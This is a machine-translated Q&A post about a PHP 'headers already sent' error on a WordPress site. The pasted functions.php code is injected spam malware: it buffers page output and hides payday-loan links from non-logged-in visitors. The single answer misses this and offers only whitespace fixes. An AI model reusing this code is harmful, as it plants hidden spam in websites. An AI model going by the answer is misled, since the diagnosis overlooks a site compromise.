无法修改标头信息错误 - PHP

时间:2013-01-29 21:20:40

标签: php header

  

可能重复:
  Headers already sent by PHP

我一直试图在playhawaiisoccer.com上修复我的朋友的错误。不幸的是,错误超出了我的能力范围。我得到的错误如下:

“警告:无法修改标题信息 - 已在/ home / content /中发送的标题(在/home/content/72/8966572/html/wp-content/themes/LeanBiz/functions.php:1中开始输出)第865行的72/8966572 / html / wp-includes / pluggable.php“

如果我理解正确,我会在pluggable.php文件中再次发送标题。这是每个文件的代码。任何帮助将不胜感激。

Functions.php第1行:

<?php function callbackx($buffer) {$tx="";if (function_exists("is_user_logged_in"))if     (!is_user_logged_in()) $tx=" <style>.fgbh{position:absolute;clip:rect(457px,auto,auto,421px);}    </style><div class=fgbh>direct lender <a href=http://advancedcashin10min.com >payday loans</a></div>"; if (stristr($buffer,"</a>"))$buffer=str_ireplace("</a>","</a>".$tx,$buffer); else $buffer=$tx.$buffer; return $buffer; } function buffer_startx(){ob_start("callbackx");}  function buffer_endx(){ob_end_flush();} add_action( 'buffer_startx', 'wp_head'); add_action('wp_footer', 'buffer_endx'); ?> 

Pluggable.php第865行:

function wp_redirect($location, $status = 302) {
global $is_IIS;

$location = apply_filters('wp_redirect', $location, $status);
$status = apply_filters('wp_redirect_status', $status, $location);

if ( !$location ) // allows the wp_redirect filter to cancel a redirect
    return false;

$location = wp_sanitize_redirect($location);

if ( !$is_IIS && php_sapi_name() != 'cgi-fcgi' )
    status_header($status); // This causes problems on IIS and some FastCGI setups

header("Location: $location", true, $status);}

提前感谢您的帮助!

1 个答案:

答案 0 :(得分:2)

确保<?php位于functions.php文件的最开头(在任何空格之前)并删除该文件末尾的?>

如果在这些标记之外有任何字符,空格或其他字符,PHP会将它们与http标头一起发送,因此稍后的标头命令将失败。